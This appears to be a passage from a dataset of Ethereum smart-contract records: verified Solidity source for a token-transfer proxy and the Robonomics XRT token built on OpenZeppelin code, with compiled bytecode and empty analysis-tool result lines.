fffffffffffffffffffffffffff1614610525576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61053a82600254610be090919063ffffffff16565b600281905550600360405180604001604052808373ffffffffffffffffffffffffffffffffffffffff168152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050505050565b6000809054906101000a900460ff1615610672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616c726561647920696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b60016000806101000a81548160ff02191690831515021790555081600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610878576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561091957600080fd5b505afa15801561092d573d6000803e3d6000fd5b505050506040513d602081101561094357600080fd5b81019080805190602001909291905050509050828110156109cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f7265776172642062616c616e6365206973206e6f7420656e6f7567680000000081525060200191505060405180910390fd5b60008090505b600380549050811015610b44576000600382815481106109ee57fe5b906000526020600020906002020190506000610a2b600254610a1d846001015487610c6890919063ffffffff16565b610cee90919063ffffffff16565b9050610a9e8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d389092919063ffffffff16565b8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663246132f982876040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015610b1d57600080fd5b505af1158015610b31573d6000803e3d6000fd5b50505050505080806001019150506109d2565b50505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610bd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e09565b905092915050565b600080828401905083811015610c5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610c7b5760009050610ce8565b6000828402905082848281610c8c57fe5b0414610ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112266021913960400191505060405180910390fd5b809150505b92915050565b6000610d3083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ec9565b905092915050565b610e04838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610f8f565b505050565b6000838311158290610eb6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e7b578082015181840152602081019050610e60565b50505050905090810190601f168015610ea85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610f75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f3a578082015181840152602081019050610f1f565b50505050905090810190601f168015610f675780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f8157fe5b049050809150509392505050565b610fae8273ffffffffffffffffffffffffffffffffffffffff166111da565b611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061106f578051825260208201915060208101905060208303925061104c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146110d1576040519150601f19603f3d011682016040523d82523d6000602084013e6110d6565b606091505b50915091508161114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156111d45780806020019051602081101561116d57600080fd5b81019080805190602001909291905050506111d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611247602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561121c57506000801b8214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820151c3cf25715bfc578c75804f9213ea65a3f6d99f892adadb698b406400f250364736f6c63430005110032
{"success": true, "error": null, "results": {}}
540
0x3595ca1db648e8f074c97cd2ede6d59b82913fe7
/** *Submitted for verification at Etherscan.io on 2021-08-27 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea2646970667358221220fc2483378c7e5ffda9210adb8a749ca2427aa007cc1c36dee0e4ac39b0c1b27b64736f6c63430008040033
{"success": true, "error": null, "results": {}}
541
0xbd949595ee52346c225a19724084ce517b2cb735
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: contracts/robonomics/XRT.sol contract XRT is MintableToken, BurnableToken { string public constant name = "Robonomics Beta"; string public constant symbol = "XRT"; uint public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 1000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd146102095780632ff2e9dc14610233578063313ce5671461024857806340c10f191461025d57806342966c6814610281578063661884631461029b57806370a08231146102bf578063715018a6146102e05780637d64bcb4146102f55780638da5cb5b1461030a57806395d89b411461033b578063a9059cbb14610350578063d73dd62314610374578063dd62ed3e14610398578063f2fde38b146103bf575b600080fd5b34801561011757600080fd5b506101206103e0565b604080519115158252519081900360200190f35b34801561014057600080fd5b50610149610401565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a0360043516602435610438565b3480156101ee57600080fd5b506101f761049e565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a03600435811690602435166044356104a4565b34801561023f57600080fd5b506101f7610607565b34801561025457600080fd5b506101f7610610565b34801561026957600080fd5b50610120600160a060020a0360043516602435610615565b34801561028d57600080fd5b5061029960043561071e565b005b3480156102a757600080fd5b50610120600160a060020a036004351660243561072b565b3480156102cb57600080fd5b506101f7600160a060020a036004351661081a565b3480156102ec57600080fd5b50610299610835565b34801561030157600080fd5b506101206108a3565b34801561031657600080fd5b5061031f610949565b60408051600160a060020a039092168252519081900360200190f35b34801561034757600080fd5b50610149610958565b34801561035c57600080fd5b50610120600160a060020a036004351660243561098f565b34801561038057600080fd5b50610120600160a060020a0360043516602435610a5c565b3480156103a457600080fd5b506101f7600160a060020a0360043581169060243516610af5565b3480156103cb57600080fd5b50610299600160a060020a0360043516610b20565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600f81527f526f626f6e6f6d69637320426574610000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a0383166000908152602081905260408120548211156104c957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156104f957600080fd5b600160a060020a038316151561050e57600080fd5b600160a060020a038416600090815260208190526040902054610537908363ffffffff610b4016565b600160a060020a03808616600090815260208190526040808220939093559085168152205461056c908363ffffffff610b5216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105ae908363ffffffff610b4016565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610cd3833981519152929181900390910190a35060019392505050565b64e8d4a5100081565b600981565b600354600090600160a060020a0316331461062f57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561065757600080fd5b60015461066a908363ffffffff610b5216565b600155600160a060020a038316600090815260208190526040902054610696908363ffffffff610b5216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610cd38339815191529181900360200190a350600192915050565b6107283382610b65565b50565b336000908152600260209081526040808320600160a060020a038616845290915281205480831061077f57336000908152600260209081526040808320600160a060020a03881684529091528120556107b4565b61078f818463ffffffff610b4016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461084c57600080fd5b600354604051600160a060020a03909116907ff8df3